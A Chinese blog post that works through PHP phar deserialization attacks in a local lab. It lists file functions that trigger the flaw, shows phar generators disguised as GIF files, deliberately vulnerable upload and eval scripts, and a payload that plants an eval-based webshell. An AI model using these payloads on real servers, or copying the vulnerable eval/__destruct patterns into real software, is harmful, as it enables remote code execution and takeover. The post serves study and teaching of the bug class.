Ethan's Blog

phar反序列化拓展攻击浅析

字数统计: 1.7k阅读时长: 7 min
2019/04/29 Share
前言:

近些阵子反序列化漏洞横行,看了几篇文章,希望总结下来,因为整个漏洞发现过程是非常有意思的!

正文
phar RCE

2018年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper这个议题,见:https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE的效果。

因为在 phar.c#L618 处,其调用了php_var_unserialize

1
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以构造一个特殊的phar包,使得攻击代码能够被反序列化,从而构造一个POP链。这一部分已经常见了,在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php
解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

延伸

知道创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用(https://paper.seebug.org/680/ ):

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen`
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

在zsx师傅的文章又通过php_stream_open_wrapper方法的调用函数中,探索出一些新的可用函数!

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers

standard

  • getimagesize
  • getimagesizefromstring

zip

1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果phar://不能出现在头几个字符怎么办?

1
demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

验证

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
$filename=$_GET['filename'];
if (preg_match("/\bphar\b/A", $filename)) {
echo "stop hacking!\n";
}
else {
class comrare
{
public $haha = 'haha';

function __wakeup()
{
eval($this->haha);
}

}

imagecreatefromjpeg($_GET['filename']);
}
?>

poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class comrare
{
public $haha = 'comrarezzzzz';

}
@unlink('shell.phar');
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new comrare();
//$object ->haha= 'eval(@$_POST[\'a\']);';
$object ->haha= 'phpinfo();';
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

这个poc同时绕过了gif限制和phar开头限制,同样我们可以getshell成功!

测试

首先我们自己生成一个phar文件来观察它的结构,php内置了一个Phar类来处理相关操作!

操作前请注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='cck';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后会生成一个phar文件在当前目录

我们观察下它的文件结构

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化!

漏洞php

1
2
3
4
5
6
7
8
9
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

伪造gif文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {

}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'cck';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

file phar.phar如下

这种方法可以用于上传检测!

利用

在别人复现的基础上实现了RCE

条件
  • phar文件要能够上传到服务器端。

file_exists()fopen()file_get_contents()file()等文件操作的函数

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

环境文件

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

文件内容

upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

upload_file.html

1
2
3
4
5
6
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
实现流程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码

首先用eval.php生成执行phpinfo的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

上传成功,获得上传目录

然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif

执行phpinfo成功!

RCE

既然代码能执行成功,又存在命令执行函数,我们就可以实现RCE获得shell!我们尝试上传一句话木马

,修改后的文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class AnyClass{
var $output = 'echo "cck";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'eval(@$_POST[\'a\']);';
//$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

同样的步骤上传,尝试连接,成功getshell!

参考

https://paper.seebug.org/680/ 【利用 phar 拓展 php 反序列化漏洞攻击面】

CATALOG
  1. 1. 前言:
  2. 2. 正文
    1. 2.1. phar RCE
    2. 2.2. 延伸
    3. 2.3. 测试
    4. 2.4. 将phar伪造成其他格式的文件
  3. 3. 利用
    1. 3.1. 条件
    2. 3.2. 环境文件
    3. 3.3. 文件内容
    4. 3.4. 实现流程
    5. 3.5. 构造代码
    6. 3.6. RCE
    7. 3.7. 参考